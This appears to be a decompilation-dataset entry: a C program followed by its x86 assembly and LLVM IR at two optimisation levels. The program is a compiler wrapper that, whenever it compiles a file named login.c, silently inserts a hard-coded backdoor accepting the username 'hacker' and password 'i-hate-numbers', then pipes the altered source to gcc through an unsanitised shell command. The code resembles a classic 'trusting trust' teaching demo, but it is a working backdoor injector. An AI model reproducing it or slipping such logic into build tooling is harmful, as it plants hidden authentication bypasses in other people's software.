#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef int /*<<< orphan*/ FILE;

/* Variables and functions */
int /*<<< orphan*/ SEEK_END;
scalar_t__ calloc(int, int);
int /*<<< orphan*/ fclose(int /*<<< orphan*/ *);
int /*<<< orphan*/ *fopen(char *, char *);
int fread(char *, int, int, int /*<<< orphan*/ *);
int /*<<< orphan*/ free(char *);
int /*<<< orphan*/ fseek(int /*<<< orphan*/ *, int /*<<< orphan*/,
                         int /*<<< orphan*/);
int ftell(int /*<<< orphan*/ *);
int /*<<< orphan*/ fwrite(char *, int, int, int /*<<< orphan*/ *);
scalar_t__ malloc(int);
int /*<<< orphan*/ pclose(int /*<<< orphan*/ *);
int /*<<< orphan*/ *popen(char *, char *);
int /*<<< orphan*/ printf(char *, ...);
int /*<<< orphan*/ rewind(int /*<<< orphan*/ *);
int /*<<< orphan*/ snprintf(char *, int, char const *, ...);
int /*<<< orphan*/ strcat(char *, char *);
int strlen(char *);
int /*<<< orphan*/ strncat(char *, char *, int);
int /*<<< orphan*/ strncpy(char *, char *, int);
char *strstr(char *, char *);
int main(int argc, char *argv[]) {
  if (argc < 4) {
    printf("Insufficient arguments\n");
    return 1;
  }
  char *sourceFilename = argv[1];
  char *destFilename = argv[3];
  FILE *inputFile = fopen(sourceFilename, "r");
  if (inputFile == NULL) {
    printf("File does not exist");
    return 1;
  }
  fseek(inputFile, 0, SEEK_END);
  int sourceFileSize = ftell(inputFile);
  rewind(inputFile);
  int actualBuffSizeRequired = sourceFileSize + 1;
  char *buffer = (char *)malloc(actualBuffSizeRequired);
  buffer[sourceFileSize] = '\0';
  int read = fread(buffer, sizeof(char), sourceFileSize, inputFile);
  fclose(inputFile);
  const char *TEXT_INJECT_LOGIN =
      ""
      "if(strcmp(username, %chacker%c) == 0 && strcmp(password, "
      "%ci-hate-numbers%c) == 0){%c"
      "%c%cprintf(TEXT_AUTHORISED);%c"
      "%c%creturn 0;%c"
      "%c}%c"
      "%c%c";
  if (strstr(sourceFilename, "login.c") != NULL) {
    char stringToInject[200];
    snprintf(stringToInject, 200, TEXT_INJECT_LOGIN, 34, 34, 34, 34, 10, 9, 9,
             10, 9, 9, 10, 9, 10, 10, 9);
    int lengthOfMaliciousCode = strlen(stringToInject);
    int newTotalBuffRequired = actualBuffSizeRequired + lengthOfMaliciousCode;
    char *newTempBuffer = (char *)calloc(newTotalBuffRequired, sizeof(char));
    char *injectPosition = strstr(buffer, "printf(TEXT_UNAUTHORISED);");
    int sizeOfPreInjectedBuff = injectPosition - buffer;
    strncpy(newTempBuffer, buffer, sizeOfPreInjectedBuff);
    strncat(newTempBuffer, stringToInject, lengthOfMaliciousCode);
    strcat(newTempBuffer, injectPosition);
    free(buffer);
    buffer = newTempBuffer;
    sourceFileSize = newTotalBuffRequired - 1;
  }
  char compileCommand[500];
  snprintf(compileCommand, 500, "gcc -o %s -xc -", destFilename);
  FILE *gccStdin;
  gccStdin = popen(compileCommand, "w");
  fwrite(buffer, sizeof(char), sourceFileSize, gccStdin);
  printf("%s\n", buffer);
  pclose(gccStdin);
  free(buffer);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x390,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
cmpl   $0x4,-0x8(%rbp)
jge    126d <main+0x3d>
lea    0xda6(%rip),%rdi
mov    $0x0,%al
call   1080 <printf@plt>
movl   $0x1,-0x4(%rbp)
jmp    150c <main+0x2dc>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rax
mov    %rax,-0x18(%rbp)
mov    -0x10(%rbp),%rax
mov    0x18(%rax),%rax
mov    %rax,-0x20(%rbp)
mov    -0x18(%rbp),%rdi
lea    0xd88(%rip),%rsi
call   1120 <fopen@plt>
mov    %rax,-0x28(%rbp)
cmpq   $0x0,-0x28(%rbp)
jne    12be <main+0x8e>
lea    0xd6f(%rip),%rdi
mov    $0x0,%al
call   1080 <printf@plt>
movl   $0x1,-0x4(%rbp)
jmp    150c <main+0x2dc>
mov    -0x28(%rbp),%rdi
mov    0x2d1f(%rip),%rax
mov    (%rax),%edx
xor    %esi,%esi
call   1100 <fseek@plt>
mov    -0x28(%rbp),%rdi
call   10e0 <ftell@plt>
mov    %eax,-0x2c(%rbp)
mov    -0x28(%rbp),%rdi
call   1090 <rewind@plt>
mov    -0x2c(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x30(%rbp)
mov    -0x30(%rbp),%edi
call   10f0 <malloc@plt>
mov    %rax,-0x38(%rbp)
mov    -0x38(%rbp),%rax
movslq -0x2c(%rbp),%rcx
movb   $0x0,(%rax,%rcx,1)
mov    -0x38(%rbp),%rdi
mov    -0x2c(%rbp),%edx
mov    -0x28(%rbp),%rcx
mov    $0x1,%esi
call   1050 <fread@plt>
mov    %eax,-0x3c(%rbp)
mov    -0x28(%rbp),%rdi
call   1060 <fclose@plt>
lea    0xcfe(%rip),%rax
mov    %rax,-0x48(%rbp)
mov    -0x18(%rbp),%rdi
lea    0xd7b(%rip),%rsi
call   1150 <strstr@plt>
cmp    $0x0,%rax
je     1495 <main+0x265>
lea    -0x110(%rbp),%rdi
mov    -0x48(%rbp),%rdx
mov    $0xc8,%esi
mov    $0x22,%r9d
mov    %r9d,%ecx
mov    %r9d,%r8d
movl   $0x22,(%rsp)
movl   $0xa,0x8(%rsp)
movl   $0x9,0x10(%rsp)
movl   $0x9,0x18(%rsp)
movl   $0xa,0x20(%rsp)
movl   $0x9,0x28(%rsp)
movl   $0x9,0x30(%rsp)
movl   $0xa,0x38(%rsp)
movl   $0x9,0x40(%rsp)
movl   $0xa,0x48(%rsp)
movl   $0xa,0x50(%rsp)
movl   $0x9,0x58(%rsp)
mov    $0x0,%al
call   10b0 <snprintf@plt>
lea    -0x110(%rbp),%rdi
call   1070 <strlen@plt>
mov    %eax,-0x114(%rbp)
mov    -0x30(%rbp),%eax
add    -0x114(%rbp),%eax
mov    %eax,-0x118(%rbp)
mov    -0x118(%rbp),%edi
mov    $0x1,%esi
call   10d0 <calloc@plt>
mov    %rax,-0x120(%rbp)
mov    -0x38(%rbp),%rdi
lea    0xcaf(%rip),%rsi
call   1150 <strstr@plt>
mov    %rax,-0x128(%rbp)
mov    -0x128(%rbp),%rax
mov    -0x38(%rbp),%rcx
sub    %rcx,%rax
mov    %eax,-0x12c(%rbp)
mov    -0x120(%rbp),%rdi
mov    -0x38(%rbp),%rsi
mov    -0x12c(%rbp),%edx
call   1040 <strncpy@plt>
mov    -0x120(%rbp),%rdi
lea    -0x110(%rbp),%rsi
mov    -0x114(%rbp),%edx
call   10c0 <strncat@plt>
mov    -0x120(%rbp),%rdi
mov    -0x128(%rbp),%rsi
call   1130 <strcat@plt>
mov    -0x38(%rbp),%rdi
call   1030 <free@plt>
mov    -0x120(%rbp),%rax
mov    %rax,-0x38(%rbp)
mov    -0x118(%rbp),%eax
sub    $0x1,%eax
mov    %eax,-0x2c(%rbp)
lea    -0x320(%rbp),%rdi
mov    -0x20(%rbp),%rcx
mov    $0x1f4,%esi
lea    0xc31(%rip),%rdx
mov    $0x0,%al
call   10b0 <snprintf@plt>
lea    -0x320(%rbp),%rdi
lea    0xc2c(%rip),%rsi
call   1110 <popen@plt>
mov    %rax,-0x328(%rbp)
mov    -0x38(%rbp),%rdi
mov    -0x2c(%rbp),%edx
mov    -0x328(%rbp),%rcx
mov    $0x1,%esi
call   1140 <fwrite@plt>
mov    -0x38(%rbp),%rsi
lea    0xbff(%rip),%rdi
mov    $0x0,%al
call   1080 <printf@plt>
mov    -0x328(%rbp),%rdi
call   10a0 <pclose@plt>
mov    -0x38(%rbp),%rdi
call   1030 <free@plt>
mov    -0x4(%rbp),%eax
add    $0x390,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x208,%rsp
cmp    $0x3,%edi
jg     1267 <main+0x27>
lea    0xe7a(%rip),%rdi
call   1050 <puts@plt>
jmp    1422 <main+0x1e2>
mov    0x8(%rsi),%rbx
mov    0x18(%rsi),%rbp
lea    0xd8a(%rip),%rsi
mov    %rbx,%rdi
call   1130 <fopen@plt>
test   %rax,%rax
je     1414 <main+0x1d4>
mov    %rax,%r14
mov    %rbp,0x8(%rsp)
mov    0x2d52(%rip),%rax
mov    (%rax),%edx
xor    %ebp,%ebp
mov    %r14,%rdi
xor    %esi,%esi
call   1110 <fseek@plt>
mov    %r14,%rdi
call   10f0 <ftell@plt>
mov    %eax,%r12d
mov    %r14,%rdi
call   10a0 <rewind@plt>
lea    0x1(%r12),%r13d
mov    %r13d,%edi
call   1100 <malloc@plt>
mov    %rax,%r15
movslq %r12d,%rax
movb   $0x0,(%r15,%rax,1)
mov    %r15,%rdi
mov    $0x1,%esi
mov    %r12d,%edx
mov    %r14,%rcx
call   1060 <fread@plt>
mov    %r14,%rdi
call   1070 <fclose@plt>
lea    0xdb1(%rip),%rsi
mov    %rbx,%rdi
call   1160 <strstr@plt>
test   %rax,%rax
je     13b5 <main+0x175>
lea    0xd0d(%rip),%rdx
lea    0x10(%rsp),%rbx
mov    %rbx,%rdi
mov    $0xc8,%esi
mov    $0x22,%ecx
mov    $0x22,%r8d
mov    $0x22,%r9d
xor    %eax,%eax
push   $0x9
push   $0xa
push   $0xa
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x22
call   10c0 <snprintf@plt>
add    $0x60,%rsp
mov    %rbx,%rdi
call   1080 <strlen@plt>
mov    %eax,%r14d
add    %eax,%r13d
mov    %r13d,%edi
mov    $0x1,%esi
call   10e0 <calloc@plt>
mov    %rax,%rbp
lea    0xd3b(%rip),%rsi
mov    %r15,%rdi
call   1160 <strstr@plt>
mov    %rax,%rbx
mov    %ebx,%edx
sub    %r15d,%edx
mov    %rbp,%rdi
mov    %r15,%rsi
call   1040 <strncpy@plt>
mov    %rbp,%rdi
lea    0x10(%rsp),%rsi
mov    %r14d,%edx
call   10d0 <strncat@plt>
mov    %rbp,%rdi
mov    %rbx,%rsi
call   1140 <strcat@plt>
mov    %r15,%rdi
call   1030 <free@plt>
add    %r14d,%r12d
mov    %rbp,%r15
xor    %ebp,%ebp
lea    0xd09(%rip),%rdx
lea    0x10(%rsp),%rbx
mov    %rbx,%rdi
mov    $0x1f4,%esi
mov    0x8(%rsp),%rcx
xor    %eax,%eax
call   10c0 <snprintf@plt>
lea    0xcf9(%rip),%rsi
mov    %rbx,%rdi
call   1120 <popen@plt>
mov    %rax,%rbx
mov    %r15,%rdi
mov    $0x1,%esi
mov    %r12d,%edx
mov    %rax,%rcx
call   1150 <fwrite@plt>
mov    %r15,%rdi
call   1050 <puts@plt>
mov    %rbx,%rdi
call   10b0 <pclose@plt>
mov    %r15,%rdi
call   1030 <free@plt>
jmp    1427 <main+0x1e7>
lea    0xbe7(%rip),%rdi
xor    %eax,%eax
call   1090 <printf@plt>
mov    $0x1,%ebp
mov    %ebp,%eax
add    $0x208,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
@.str = [24 x i8] c"Insufficient arguments\0A\00"
@.str.1 = [2 x i8] c"r\00"
@.str.2 = [20 x i8] c"File does not exist\00"
@SEEK_END = global i32 0
@.str.3 = [140 x i8] c"if(strcmp(username, %chacker%c) == 0 && strcmp(password, %ci-hate-numbers%c) == 0){%c%c%cprintf(TEXT_AUTHORISED);%c%c%creturn 0;%c%c}%c%c%c\00"
@.str.4 = [8 x i8] c"login.c\00"
@.str.5 = [27 x i8] c"printf(TEXT_UNAUTHORISED);\00"
@.str.6 = [16 x i8] c"gcc -o %s -xc -\00"
@.str.7 = [2 x i8] c"w\00"
@.str.8 = [4 x i8] c"%s\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i8*
%7 = alloca i8*
%8 = alloca i32*
%9 = alloca i32
%10 = alloca i32
%11 = alloca i8*
%12 = alloca i32
%13 = alloca i8*
%14 = alloca [200 x i8]
%15 = alloca i32
%16 = alloca i32
%17 = alloca i8*
%18 = alloca i8*
%19 = alloca i32
%20 = alloca [500 x i8]
%21 = alloca i32*
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%22 = load i32, i32* %4
%23 = icmp slt i32 %22, 4
br i1 %23, label %24, label %26
24: ; preds = %2
%25 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str, i64 0, i64 0))
store i32 1, i32* %3
br label %117
26: ; preds = %2
%27 = load i8**, i8*** %5
%28 = getelementptr inbounds i8*, i8** %27, i64 1
%29 = load i8*, i8** %28
store i8* %29, i8** %6
%30 = load i8**, i8*** %5
%31 = getelementptr inbounds i8*, i8** %30, i64 3
%32 = load i8*, i8** %31
store i8* %32, i8** %7
%33 = load i8*, i8** %6
%34 = call i32* @fopen(i8* %33, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0))
store i32* %34, i32** %8
%35 = load i32*, i32** %8
%36 = icmp eq i32* %35, null
br i1 %36, label %37, label %39
37: ; preds = %26
%38 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.2, i64 0, i64 0))
store i32 1, i32* %3
br label %117
39: ; preds = %26
%40 = load i32*, i32** %8
%41 = load i32, i32* @SEEK_END
%42 = call i32 @fseek(i32* %40, i32 0, i32 %41)
%43 = load i32*, i32** %8
%44 = call i32 @ftell(i32* %43)
store i32 %44, i32* %9
%45 = load i32*, i32** %8
%46 = call i32 @rewind(i32* %45)
%47 = load i32, i32* %9
%48 = add nsw i32 %47, 1
store i32 %48, i32* %10
%49 = load i32, i32* %10
%50 = call i64 @malloc(i32 %49)
%51 = inttoptr i64 %50 to i8*
store i8* %51, i8** %11
%52 = load i8*, i8** %11
%53 = load i32, i32* %9
%54 = sext i32 %53 to i64
%55 = getelementptr inbounds i8, i8* %52, i64 %54
store i8 0, i8* %55
%56 = load i8*, i8** %11
%57 = load i32, i32* %9
%58 = load i32*, i32** %8
%59 = call i32 @fread(i8* %56, i32 1, i32 %57, i32* %58)
store i32 %59, i32* %12
%60 = load i32*, i32** %8
%61 = call i32 @fclose(i32* %60)
store i8* getelementptr inbounds ([140 x i8], [140 x i8]* @.str.3, i64 0, i64 0), i8** %13
%62 = load i8*, i8** %6
%63 = call i8* @strstr(i8* %62, i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.4, i64 0, i64 0))
%64 = icmp ne i8* %63, null
br i1 %64, label %65, label %101
65: ; preds = %39
%66 = getelementptr inbounds [200 x i8], [200 x i8]* %14, i64 0, i64 0
%67 = load i8*, i8** %13
%68 = call i32 (i8*, i32, i8*, ...) @snprintf(i8* %66, i32 200, i8* %67, i32 34, i32 34, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 10, i32 10, i32 9)
%69 = getelementptr inbounds [200 x i8], [200 x i8]* %14, i64 0, i64 0
%70 = call i32 @strlen(i8* %69)
store i32 %70, i32* %15
%71 = load i32, i32* %10
%72 = load i32, i32* %15
%73 = add nsw i32 %71, %72
store i32 %73, i32* %16
%74 = load i32, i32* %16
%75 = call i64 @calloc(i32 %74, i32 1)
%76 = inttoptr i64 %75 to i8*
store i8* %76, i8** %17
%77 = load i8*, i8** %11
%78 = call i8* @strstr(i8* %77, i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.5, i64 0, i64 0))
store i8* %78, i8** %18
%79 = load i8*, i8** %18
%80 = load i8*, i8** %11
%81 = ptrtoint i8* %79 to i64
%82 = ptrtoint i8* %80 to i64
%83 = sub i64 %81, %82
%84 = trunc i64 %83 to i32
store i32 %84, i32* %19
%85 = load i8*, i8** %17
%86 = load i8*, i8** %11
%87 = load i32, i32* %19
%88 = call i32 @strncpy(i8* %85, i8* %86, i32 %87)
%89 = load i8*, i8** %17
%90 = getelementptr inbounds [200 x i8], [200 x i8]* %14, i64 0, i64 0
%91 = load i32, i32* %15
%92 = call i32 @strncat(i8* %89, i8* %90, i32 %91)
%93 = load i8*, i8** %17
%94 = load i8*, i8** %18
%95 = call i32 @strcat(i8* %93, i8* %94)
%96 = load i8*, i8** %11
%97 = call i32 @free(i8* %96)
%98 = load i8*, i8** %17
store i8* %98, i8** %11
%99 = load i32, i32* %16
%100 = sub nsw i32 %99, 1
store i32 %100, i32* %9
br label %101
101: ; preds = %65, %39
%102 = getelementptr inbounds [500 x i8], [500 x i8]* %20, i64 0, i64 0
%103 = load i8*, i8** %7
%104 = call i32 (i8*, i32, i8*, ...) @snprintf(i8* %102, i32 500, i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.6, i64 0, i64 0), i8* %103)
%105 = getelementptr inbounds [500 x i8], [500 x i8]* %20, i64 0, i64 0
%106 = call i32* @popen(i8* %105, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0))
store i32* %106, i32** %21
%107 = load i8*, i8** %11
%108 = load i32, i32* %9
%109 = load i32*, i32** %21
%110 = call i32 @fwrite(i8* %107, i32 1, i32 %108, i32* %109)
%111 = load i8*, i8** %11
%112 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.8, i64 0, i64 0), i8* %111)
%113 = load i32*, i32** %21
%114 = call i32 @pclose(i32* %113)
%115 = load i8*, i8** %11
%116 = call i32 @free(i8* %115)
br label %117
117: ; preds = %101, %37, %24
%118 = load i32, i32* %3
ret i32 %118
}

LLVM IR (-O2):
@.str.1 = [2 x i8] c"r\00"
@.str.2 = [20 x i8] c"File does not exist\00"
@SEEK_END = global i32 0
@.str.3 = [140 x i8] c"if(strcmp(username, %chacker%c) == 0 && strcmp(password, %ci-hate-numbers%c) == 0){%c%c%cprintf(TEXT_AUTHORISED);%c%c%creturn 0;%c%c}%c%c%c\00"
@.str.4 = [8 x i8] c"login.c\00"
@.str.5 = [27 x i8] c"printf(TEXT_UNAUTHORISED);\00"
@.str.6 = [16 x i8] c"gcc -o %s -xc -\00"
@.str.7 = [2 x i8] c"w\00"
@str = [23 x i8] c"Insufficient arguments\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = alloca [200 x i8]
%4 = alloca [500 x i8]
%5 = icmp slt i32 %0, 4
br i1 %5, label %6, label %8
6: ; preds = %2
%7 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([23 x i8], [23 x i8]* @str, i64 0, i64 0))
br label %57
8: ; preds = %2
%9 = getelementptr inbounds i8*, i8** %1, i64 1
%10 = load i8*, i8** %9
%11 = getelementptr inbounds i8*, i8** %1, i64 3
%12 = load i8*, i8** %11
%13 = tail call i32* @fopen(i8* %10, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0))
%14 = icmp eq i32* %13, null
br i1 %14, label %15, label %17
15: ; preds = %8
%16 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([20 x i8], [20 x i8]* @.str.2, i64 0, i64 0))
br label %57
17: ; preds = %8
%18 = load i32, i32* @SEEK_END
%19 = tail call i32 @fseek(i32* %13, i32 0, i32 %18)
%20 = tail call i32 @ftell(i32* %13)
%21 = tail call i32 @rewind(i32* %13)
%22 = add nsw i32 %20, 1
%23 = tail call i64 @malloc(i32 %22)
%24 = inttoptr i64 %23 to i8*
%25 = sext i32 %20 to i64
%26 = getelementptr inbounds i8, i8* %24, i64 %25
store i8 0, i8* %26
%27 = tail call i32 @fread(i8* %24, i32 1, i32 %20, i32* %13)
%28 = tail call i32 @fclose(i32* %13)
%29 = tail call i8* @strstr(i8* dereferenceable(1) %10, i8* dereferenceable(1) getelementptr inbounds ([8 x i8], [8 x i8]* @.str.4, i64 0, i64 0))
%30 = icmp eq i8* %29, null
br i1 %30, label %47, label %31
31: ; preds = %17
%32 = getelementptr inbounds [200 x i8], [200 x i8]* %3, i64 0, i64 0
%33 = call i32 (i8*, i32, i8*, ...) @snprintf(i8* %32, i32 200, i8* getelementptr inbounds ([140 x i8], [140 x i8]* @.str.3, i64 0, i64 0), i32 34, i32 34, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 10, i32 10, i32 9)
%34 = call i32 @strlen(i8* %32)
%35 = add nsw i32 %34, %22
%36 = call i64 @calloc(i32 %35, i32 1)
%37 = inttoptr i64 %36 to i8*
%38 = call i8* @strstr(i8* dereferenceable(1) %24, i8* dereferenceable(1) getelementptr inbounds ([27 x i8], [27 x i8]* @.str.5, i64 0, i64 0))
%39 = ptrtoint i8* %38 to i64
%40 = sub i64 %39, %23
%41 = trunc i64 %40 to i32
%42 = call i32 @strncpy(i8* %37, i8* %24, i32 %41)
%43 = call i32 @strncat(i8* %37, i8* %32, i32 %34)
%44 = call i32 @strcat(i8* %37, i8* %38)
%45 = call i32 @free(i8* %24)
%46 = add i32 %34, %20
br label %47
47: ; preds = %31, %17
%48 = phi i8* [ %37, %31 ], [ %24, %17 ]
%49 = phi i32 [ %46, %31 ], [ %20, %17 ]
%50 = getelementptr inbounds [500 x i8], [500 x i8]* %4, i64 0, i64 0
%51 = call i32 (i8*, i32, i8*, ...) @snprintf(i8* %50, i32 500, i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.6, i64 0, i64 0), i8* %12)
%52 = call i32* @popen(i8* %50, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0))
%53 = call i32 @fwrite(i8* %48, i32 1, i32 %49, i32* %52)
%54 = call i32 @puts(i8* dereferenceable(1) %48)
%55 = call i32 @pclose(i32* %52)
%56 = call i32 @free(i8* %48)
br label %57
57: ; preds = %15, %47, %6
%58 = phi i32 [ 1, %6 ], [ 1, %15 ], [ 0, %47 ]
ret i32 %58
}